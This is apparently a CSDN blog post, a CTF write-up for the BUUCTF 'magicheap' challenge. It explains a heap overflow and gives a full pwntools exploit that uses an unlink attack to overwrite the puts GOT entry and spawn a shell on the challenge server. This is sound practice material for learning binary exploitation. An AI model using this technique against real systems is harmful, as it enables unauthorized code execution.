hitcontraining_magicheap buuctf

最新推荐文章于 2024-07-11 11:23:59 发布

cut_maize

最新推荐文章于 2024-07-11 11:23:59 发布

阅读量1.2k

点赞数 1

分类专栏： PWN 文章标签：安全 pwn

本文链接：https://blog.csdn.net/m0_57754423/article/details/122903239

版权

PWN 专栏收录该内容

33 篇文章 0 订阅

订阅专栏

本文详细解析了magicheap程序中的堆溢出漏洞，通过定制chunk大小，实现unlink操作并修改puts函数指针，从而成功执行getshell。展示了利用unlink和heap编辑技巧进行安全漏洞利用的方法和步骤。

摘要由CSDN通过智能技术生成

这题的漏洞点在编辑heap:

可以自定义编辑chunk内容的大小，存在堆溢出漏洞,这道题目打法也有很多。

我自己的思路是：

利用unlink实现任意地址写的效果，修改puts函数got表为l33t,然后getshell。

exp:

from pwn import *
p = remote("node4.buuoj.cn",25162)
#p = process("./magicheap")
e = ELF("./magicheap")
sh_addr = 0x400c50
bss_addr = 0x6020c0
context.log_level  ="debug"
p.timeout = 0.5
def add(size,content):
	p.recvuntil("Your choice :")
	p.sendline("1")
	p.recvuntil("Size of Heap : ")
	p.sendline(str(size))
	p.recvuntil("Content of heap:")
	p.sendline(content)
	p.recvuntil("SuccessFul\n")
def edit(index,size,content):
	p.recvuntil("Your choice :")
	p.sendline("2")
	p.recvuntil("Index :")
	p.sendline(str(index))
	p.recvuntil("Size of Heap : ")
	p.sendline(str(size))
	p.recvuntil("Content of heap : ")
	p.sendline(content)
	p.recvuntil("Done !\n")
def delete(index):
	p.recvuntil("Your choice :")
	p.sendline("3")
	p.recvuntil("Index :")
	p.sendline(str(index))
	p.recvuntil("Done !\n")

add(0x30,"a"*0x30)#0
add(0x30,"a"*0x30)#1
add(0x80,"a"*0x80)#2
add(0x10,"a"*0x10)# 
pl1 = p64(0) + p64(0x31) + p64(bss_addr - 0x10) + p64(bss_addr-0x8) + p64(0) + p64(0)
pl1+=  p64(0x30) + p64(0x90)
edit(1,0x40,pl1)
delete(2)
pl2 = p64(0) + p64(0) + p64(e.got["puts"])
edit(1,0x30,pl2)
edit(0,0x8,p64(sh_addr))
# gdb.attach(p)
# pause()
p.interactive()

执行脚本，成功拿到shell!